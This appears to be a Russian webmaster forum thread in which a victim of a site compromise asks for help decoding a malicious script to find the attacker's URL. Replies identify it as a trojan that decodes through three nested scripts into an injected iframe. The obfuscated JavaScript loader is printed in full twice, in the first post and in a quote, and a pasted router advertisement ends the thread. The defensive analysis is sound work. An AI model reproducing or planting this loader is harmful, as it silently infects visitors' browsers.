Курильщики, прошу помощи

123 4
pelvis
На сайте с 01.09.2005
Offline
345
1933

Помогите вычленить урлу из скрипта. Меня тут взломали, причем причастен один из форумчан. Скрипт свежий, поэтому и просьба, нужная не мне одному - надо гадов вычислить. Одно скажу - я поймал от easy-shop.ru через optim-site.ru Вам туда ходить не советую. Руки бы того, ну Вы поняли. А мне причинен ущерб на 20К минимум, если дело пойдет, то займусь юрисдикцией вопроса. Спасибо Вам за понимание вопроса.

document.write(unescape("%3Cscript%3Etry%20%7Bfunction%20eGf%28asZ%29%7Breturn%20parseInt%28asZ%29%7Dvar%20LTA%3D%2799Q9JQ9VQ9cQ9MQ9mQ9IQ9sQ9hQ95Q9AQ9KQ97Q9yQ9DQ9HQ9qQ9SQ9oQ9tQ9OQ9jQ9gQ9fQ9kQ96Q93Q9bQ9xQ9BQ9WQ9TQ9UQ9LQ9FQ9zQ9rQ9ZQ9iQ9GQ9aQ94Q9lQ98Q9pQ9XQ9eQ9CQ9dQ9RQ9NQ9nQ9YQ9wQJ9QJJQJVQJcQJMQJmQJIQJsQJhQJ5QJAQJKQJ7QJyQJDQJH%27%3Bvar%20nMK%3DLTA.substr%282%2C1%29%2CNDs%3DArray%28eGf%28%27232%27%29%2CeGf%28%27167%27%29%2CeGf%28%27183%27%29%2C3421%5E3579%2CeGf%28%27189%27%29%2CeGf%28%27164%27%29%2C19121%5E18961%2C24141%5E24231%2CeGf%28%27217%27%29%2C27371%5E27189%2C15639%5E15781%2CeGf%28%27161%27%29%2CeGf%28%27186%27%29%2C23840%5E23963%2CeGf%28%27244%27%29%2C12414%5E12499%2CeGf%28%27139%27%29%2C31249%5E31469%2CeGf%28%27253%27%29%2C9790%5E9873%2C3687%5E3781%2C9010%5E9095%2CeGf%28%27184%27%29%2C16434%5E16603%2C10947%5E10789%2CeGf%28%27224%27%29%2CeGf%28%27248%27%29%2C31579%5E31661%2C12187%5E12159%2C134%5E99%2C30270%5E30425%2CeGf%28%27225%27%29%2CeGf%28%27226%27%29%2C17458%5E17617%2C16563%5E16479%2C9582%5E9603%2CeGf%28%27182%27%29%2C23563%5E23739%2C15986%5E16067%2CeGf%28%27239%27%29%2C21680%5E21583%2C6857%5E6707%2CeGf%28%27153%27%29%2C31407%5E31251%2CeGf%28%27185%27%29%2CeGf%28%27254%27%29%2CeGf%28%27179%27%29%2CeGf%28%27169%27%29%2C13006%5E12909%2CeGf%28%27144%27%29%2CeGf%28%27128%27%29%2C5004%5E4915%2C13405%5E13553%2CeGf%28%27147%27%29%2CeGf%28%27135%27%29%2C12512%5E12315%2C15282%5E15145%2CeGf%28%27249%27%29%2CeGf%28%27238%27%29%2C15496%5E15485%2CeGf%28%27235%27%29%2C29672%5E29543%2CeGf%28%27138%27%29%2CeGf%28%27174%27%29%2CeGf%28%27137%27%29%2C10701%5E10565%2C24444%5E24557%2CeGf%28%27149%27%29%2CeGf%28%27150%27%29%2C23050%5E23197%29%3Bvar%20Isb%2CURu%3Bvar%20oVS%2CMUz%3D%27999J9V9c9M9m9I9s9h959A9K979V9I9M9y979D9c9J9H9J9q9c9J9S9o9t9D9O9j9c9D9g9f9k96939V9f9b9x9B9k9W969T9U9L9F9z9x9j9r9V9Z9i9A9b939y9f9b9b9G9D9A9y9c9S9M9f9x9G9D9M9D999D9g9G9D9M9a9a9o9D9y9D9a9f9D9V949J9K9r9J9I9c9S9l9j9I98949A9g9y9y9c9S9l9j9I98949c9j979Z9y9p9S9o9X9V949g9i979e9I989o939B939B9o9G9D9c9i9I9K9c979D9y9G9D9C9h959A9K979V9I9M9y979D9c9J9H9J9q9J9V9S9V97939V9O9o9t9D9O9j9c9D9I9f9D979i9d9D9R9j9I9i9S9o9G9D9O9j9c9D9i9f9D979i9d9D9R9j9I9i9S9o9G9D9i949J9i9I9N9M9p9i9S9I949e9i9I9N9M9p9i9S9o9a9W9U9x9x9x9x9x9X9k969o9G9D9Z9y9V9K9p9i979I949V9y9y9n9M9i9D9f9D9V979a9b9f9b9a9i9J9V9j9m9i9S9V9O9o9a9b9G9i9Y9m9M9c9i9J9f9b9a9i949I9y9w9l9NJ99I9c9M979e9S9o9G9D9C9h959O9j9c9D9V979D9f9D9b9B9c9J9d9W9y9B9Z9b939V9O9D9f9D9b9B9b939J9i9f9b9J9B949c9y9g9g9J9H9J9I9i9p9J949M979A9y9b939m9f9bJJ989I9p9gJJ9b9G9h959M9A9S9Z9y9V9K9p9i979I949V9y9y9n9M9i949M979Z9i9YJV9A9S9V979a9b9b9a9b9f9b9a9V9O9a9b9b9o9D9f9f9DJc9B9o9D9t9h959O9j9c9D9K9c9g9D9f9D9b989I9I9mJMJJJJ9b9D9a9D9S9Z9y9V9K9p9i979I949g9y9V9j9I9M9y9794989y9J9I9DJm9f9D9b9b9DJI9D9b9b9DJM9D9c9J9H9J9q9c9J9S9o9o9D9a9D9Z9y9V9K9p9i979I949g9y9V9j9I9M9y9794989y9J9I949c9i9m9g9j9V9i9SJJJsJh9jJcJ59xJc9z94JcJAJJ939D9b949b9o949c9i9m9g9j9V9i9SJJJK949aJJ939D9b949b9o9D9a9D9b949b9D9a9D9c9J9H9J9q9c9J9S9o9D9a9D9b949b9D9a9D9J9i9D9a9D9m9G9h959O9j9c9D9y9D9f9D9Z9y9V9K9p9i979I949V9c9i9j9I9iJ79g9i9p9i979I9S9b9M9A9c9j9p9i9b9o9G9y949J9i9IJy9I9I9c9M9r9K9I9i9S9b9J9c9V9b939D9K9c9g9o9G9h959y949A9c9j9p9iJD9y9c9Z9i9c9f9x9G9D9y949d9M9Z9I989f9B9G9D9y94989i9M9e989I9f9B9G9D9y949J9I9H9g9i949Z9M9J9m9g9j9H9f9b979y979i9b9G9D9h959I9c9H9D9t9D9Z9y9V9K9p9i979I949r9y9Z9H949j9m9m9i979ZJH989M9g9Z9S9y9o9G9D9c9J9H9J9q9J9V9S9V97939V9O9o9G9C9h959V9j9I9V989S9i9o9t9Z9y9V9K9p9i979I949d9c9M9I9i9S9b99989I9p9g9s999r9y9Z9H9s99JJ9r9y9Z9H9s99JJ989I9p9g9s9b9o9G9Z9y9V9K9p9i979I949r9y9Z9H949j9m9m9i979ZJH989M9g9Z9S9y9o9G9D9c9J9H9J9q9J9V9S9V97939V9O9o9G9C9C9h9599JJ9J9V9c9M9m9I9s%27%3Bvar%20tsC%3DString%28%29%3BLTA%3DLTA.split%28nMK%29%3Bfor%28Isb%3D0%3BIsb%3CMUz.length%3BIsb+%3D2%29%7BoVS%3DMUz.substr%28Isb%2C2%29%3Bfor%28URu%3D0%3BURu%3CLTA.length%3BURu++%29%7Bif%28LTA%5BURu%5D%3D%3DoVS%29break%3B%7D%20tsC+%3DString.fromCharCode%28NDs%5BURu%5D%5E212%29%3B%7Ddocument.write%28tsC%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))
Продаю вывески. Задарма и задорого (https://www.ledsvetzavod.ru/)
SR
На сайте с 17.11.2005
Offline
214
#1

pelvis, Вы не одиноки. Темку видели? /ru/forum/126831

FView
На сайте с 03.05.2006
Offline
186
#2

обычный трой ...

Diversant
На сайте с 29.03.2006
Offline
329
#3
pelvis:
Помогите вычленить урлу из скрипта. Меня тут взломали, причем причастен один из форумчан. Скрипт свежий, поэтому и просьба, нужная не мне одному - надо гадов вычислить. Одно скажу - я поймал от easy-shop.ru через optim-site.ru Вам туда ходить не советую. Руки бы того, ну Вы поняли. А мне причинен ущерб на 20К минимум, если дело пойдет, то займусь юрисдикцией вопроса. Спасибо Вам за понимание вопроса.

document.write(unescape("%3Cscript%3Etry%20%7Bfunction%20eGf%28asZ%29%7Breturn%20parseInt%28asZ%29%7Dvar%20LTA%3D%2799Q9JQ9VQ9cQ9MQ9mQ9IQ9sQ9hQ95Q9AQ9KQ97Q9yQ9DQ9HQ9qQ9SQ9oQ9tQ9OQ9jQ9gQ9fQ9kQ96Q93Q9bQ9xQ9BQ9WQ9TQ9UQ9LQ9FQ9zQ9rQ9ZQ9iQ9GQ9aQ94Q9lQ98Q9pQ9XQ9eQ9CQ9dQ9RQ9NQ9nQ9YQ9wQJ9QJJQJVQJcQJMQJmQJIQJsQJhQJ5QJAQJKQJ7QJyQJDQJH%27%3Bvar%20nMK%3DLTA.substr%282%2C1%29%2CNDs%3DArray%28eGf%28%27232%27%29%2CeGf%28%27167%27%29%2CeGf%28%27183%27%29%2C3421%5E3579%2CeGf%28%27189%27%29%2CeGf%28%27164%27%29%2C19121%5E18961%2C24141%5E24231%2CeGf%28%27217%27%29%2C27371%5E27189%2C15639%5E15781%2CeGf%28%27161%27%29%2CeGf%28%27186%27%29%2C23840%5E23963%2CeGf%28%27244%27%29%2C12414%5E12499%2CeGf%28%27139%27%29%2C31249%5E31469%2CeGf%28%27253%27%29%2C9790%5E9873%2C3687%5E3781%2C9010%5E9095%2CeGf%28%27184%27%29%2C16434%5E16603%2C10947%5E10789%2CeGf%28%27224%27%29%2CeGf%28%27248%27%29%2C31579%5E31661%2C12187%5E12159%2C134%5E99%2C30270%5E30425%2CeGf%28%27225%27%29%2CeGf%28%27226%27%29%2C17458%5E17617%2C16563%5E16479%2C9582%5E9603%2CeGf%28%27182%27%29%2C23563%5E23739%2C15986%5E16067%2CeGf%28%27239%27%29%2C21680%5E21583%2C6857%5E6707%2CeGf%28%27153%27%29%2C31407%5E31251%2CeGf%28%27185%27%29%2CeGf%28%27254%27%29%2CeGf%28%27179%27%29%2CeGf%28%27169%27%29%2C13006%5E12909%2CeGf%28%27144%27%29%2CeGf%28%27128%27%29%2C5004%5E4915%2C13405%5E13553%2CeGf%28%27147%27%29%2CeGf%28%27135%27%29%2C12512%5E12315%2C15282%5E15145%2CeGf%28%27249%27%29%2CeGf%28%27238%27%29%2C15496%5E15485%2CeGf%28%27235%27%29%2C29672%5E29543%2CeGf%28%27138%27%29%2CeGf%28%27174%27%29%2CeGf%28%27137%27%29%2C10701%5E10565%2C24444%5E24557%2CeGf%28%27149%27%29%2CeGf%28%27150%27%29%2C23050%5E23197%29%3Bvar%20Isb%2CURu%3Bvar%20oVS%2CMUz%3D%27999J9V9c9M9m9I9s9h959A9K979V9I9M9y979D9c9J9H9J9q9c9J9S9o9t9D9O9j9c9D9g9f9k96939V9f9b9x9B9k9W969T9U9L9F9z9x9j9r9V9Z9i9A9b939y9f9b9b9G9D9A9y9c9S9M9f9x9G9D9M9D999D9g9G9D9M9a9a9o9D9y9D9a9f9D9V949J9K9r9J9I9c9S9l9j9I98949A9g9y9y9c9S9l9j9I98949c9j979Z9y9p9S9o9X9V949g9i979e9I989o939B939B9o9G9D9c9i9I9K9c979D9y9G9D9C9h959A9K979V9I9M9y979D9c9J9H9J9q9J9V9S9V97939V9O9o9t9D9O9j9c9D9I9f9D979i9d9D9R9j9I9i9S9o9G9D9O9j9c9D9i9f9D979i9d9D9R9j9I9i9S9o9G9D9i949J9i9I9N9M9p9i9S9I949e9i9I9N9M9p9i9S9o9a9W9U9x9x9x9x9x9X9k969o9G9D9Z9y9V9K9p9i979I949V9y9y9n9M9i9D9f9D9V979a9b9f9b9a9i9J9V9j9m9i9S9V9O9o9a9b9G9i9Y9m9M9c9i9J9f9b9a9i949I9y9w9l9NJ99I9c9M979e9S9o9G9D9C9h959O9j9c9D9V979D9f9D9b9B9c9J9d9W9y9B9Z9b939V9O9D9f9D9b9B9b939J9i9f9b9J9B949c9y9g9g9J9H9J9I9i9p9J949M979A9y9b939m9f9bJJ989I9p9gJJ9b9G9h959M9A9S9Z9y9V9K9p9i979I949V9y9y9n9M9i949M979Z9i9YJV9A9S9V979a9b9b9a9b9f9b9a9V9O9a9b9b9o9D9f9f9DJc9B9o9D9t9h959O9j9c9D9K9c9g9D9f9D9b989I9I9mJMJJJJ9b9D9a9D9S9Z9y9V9K9p9i979I949g9y9V9j9I9M9y9794989y9J9I9DJm9f9D9b9b9DJI9D9b9b9DJM9D9c9J9H9J9q9c9J9S9o9o9D9a9D9Z9y9V9K9p9i979I949g9y9V9j9I9M9y9794989y9J9I949c9i9m9g9j9V9i9SJJJsJh9jJcJ59xJc9z94JcJAJJ939D9b949b9o949c9i9m9g9j9V9i9SJJJK949aJJ939D9b949b9o9D9a9D9b949b9D9a9D9c9J9H9J9q9c9J9S9o9D9a9D9b949b9D9a9D9J9i9D9a9D9m9G9h959O9j9c9D9y9D9f9D9Z9y9V9K9p9i979I949V9c9i9j9I9iJ79g9i9p9i979I9S9b9M9A9c9j9p9i9b9o9G9y949J9i9IJy9I9I9c9M9r9K9I9i9S9b9J9c9V9b939D9K9c9g9o9G9h959y949A9c9j9p9iJD9y9c9Z9i9c9f9x9G9D9y949d9M9Z9I989f9B9G9D9y94989i9M9e989I9f9B9G9D9y949J9I9H9g9i949Z9M9J9m9g9j9H9f9b979y979i9b9G9D9h959I9c9H9D9t9D9Z9y9V9K9p9i979I949r9y9Z9H949j9m9m9i979ZJH989M9g9Z9S9y9o9G9D9c9J9H9J9q9J9V9S9V97939V9O9o9G9C9h959V9j9I9V989S9i9o9t9Z9y9V9K9p9i979I949d9c9M9I9i9S9b99989I9p9g9s999r9y9Z9H9s99JJ9r9y9Z9H9s99JJ989I9p9g9s9b9o9G9Z9y9V9K9p9i979I949r9y9Z9H949j9m9m9i979ZJH989M9g9Z9S9y9o9G9D9c9J9H9J9q9J9V9S9V97939V9O9o9G9C9C9h9599JJ9J9V9c9M9m9I9s%27%3Bvar%20tsC%3DString%28%29%3BLTA%3DLTA.split%28nMK%29%3Bfor%28Isb%3D0%3BIsb%3CMUz.length%3BIsb+%3D2%29%7BoVS%3DMUz.substr%28Isb%2C2%29%3Bfor%28URu%3D0%3BURu%3CLTA.length%3BURu++%29%7Bif%28LTA%5BURu%5D%3D%3DoVS%29break%3B%7D%20tsC+%3DString.fromCharCode%28NDs%5BURu%5D%5E212%29%3B%7Ddocument.write%28tsC%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))

Помоему у меня такая же шняга была... эххх

D
На сайте с 14.01.2007
Offline
153
#4

вроде получилось раскодировать.

урла в личке.

pelvis
На сайте с 01.09.2005
Offline
345
#5

Dinozavr, то есть это прямое продолжение того, с ифреймом? :) Спасибо.

Все, лопнуло мое терпение с этой виндой, мой комп был последний. Сегодня на Красную Шапочку перевожусь 😡

D
На сайте с 14.01.2007
Offline
153
#6
pelvis:
Dinozavr, то есть это прямое продолжение того, с ифреймом? :) Спасибо.
Все, лопнуло мое терпение с этой виндой, мой комп был последний. Сегодня на Красную Шапочку перевожусь 😡

тут даже 3 вложенных скрипта получилось.

каждый из них добавляет следующего к документу. а последний уже добавляет к документу ифрейм :)

VD
На сайте с 14.08.2004
Offline
143
#7

pelvis, каким браузером, IE поймал?

pelvis
На сайте с 01.09.2005
Offline
345
#8
VadD:
каким браузером, IE поймал?

им самым. Причем эта фигня убила Мозилу, Оперу, Адаварю.

Ну ничего, Красная шапочка рулит, буду с ней дружить с завтрашнего дня.

Лунный Кот
На сайте с 27.01.2006
Offline
222
#9

Только Касперский помог мне вылечить этого червяка. Теперь я стал по-другому относится к этому антивирусу. Остальные просто бесполезны оказались. Avast просто не видит, другие не могут толком ничего сделать, только визжат.

Вы мне свои достижения жизненные продемонстируйте, пожалуйста, я, возможно, возьму свои слова обратно и извинюсь прилюдно. Только думается мне, что вы банальный лась. (с) Mirson
[Удален]
#10

Один раз купите Ethernet-маршрутизатор P-334 и больше такого у Вас не будет.

Подключены к Интернет через районную Ethernet-cеть или модем? Потребовалось подключить второй компьютер и наладить между ними сеть? Или даже просто надежно защитить один домашний или офисный компьютер и организовать удаленный доступ в корпоративную сеть через Интернет? Беспроводная сеть, из соображений безопасности или в силу иных причин, пока не нужна?

Обратите внимание на маршрутизатор доступа P-334: защищенное подключение к Интернет на скорости до 100 Мбит/с надолго закроет ваши потребности в высокоскоростном доступе, а проводная локальная сеть объединит без всяких дополнительных устройств до четырех компьютеров.

Ethernet-маршрутизатор P-334 — это многофункциональное устройство, сочетающее в одном конструктиве широкий набор возможностей: встроенный четырехпортовый коммутатор Fast Ethernet, межсетевой экран (SPI и пакетный фильтр) и средства организации защищенных VPN-туннелей через Интернет.

Такое устройство может стать центром небольшой сети и решить практически все задачи удаленного доступа и защищенного обмена данными для 1—4 компьютеров. По мере роста сети или необходимости организовать беспроводную передачу данных в локальную сеть могут быть добавлены отдельный Ethernet-коммутатор или новая беспроводная точка доступа.

Установка маршрутизатора P-334 предельно проста, а реализованные в нем возможности удовлетворят потребности самых взыскательных пользователей.

Основные преимущества

* Постоянное подключение к Интернету на скорости до 100 Мбит/с при свободном телефоне;

* Гарантированное качество интернет-сервисов, интерактивного телевидения и IP-телефонии;

* Двойная защита сети от угроз из Интернета;

* Коммутатор для непосредственного подключения четырех сетевых устройств;

* Компактная и бесшумная конструкция.

Copyright © 1989-2007 ZyXEL Communications Corporation

P.S. От себя хочу добавить, что если правильно всё выставить, не нужен ни антивирус, ни Firewall. Этому в описании почему то уделается очень мало внимания.

123 4

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий